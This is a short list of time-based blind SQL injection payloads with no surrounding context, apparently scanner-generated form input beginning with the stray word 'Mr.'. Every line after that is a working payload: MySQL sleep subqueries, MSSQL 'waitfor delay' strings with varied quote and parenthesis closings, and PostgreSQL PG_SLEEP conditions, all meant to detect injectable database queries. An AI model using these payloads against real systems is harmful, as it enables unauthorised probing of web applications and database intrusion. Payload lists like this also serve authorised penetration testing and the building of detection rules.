Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

ULQuMii1'; waitfor delay '0:0:15' --

cGa3BxXO'); waitfor delay '0:0:15' --

xrCHM9Zv')); waitfor delay '0:0:15' --

-5 OR 922=(SELECT 922 FROM PG_SLEEP(15))--

-5) OR 691=(SELECT 691 FROM PG_SLEEP(15))--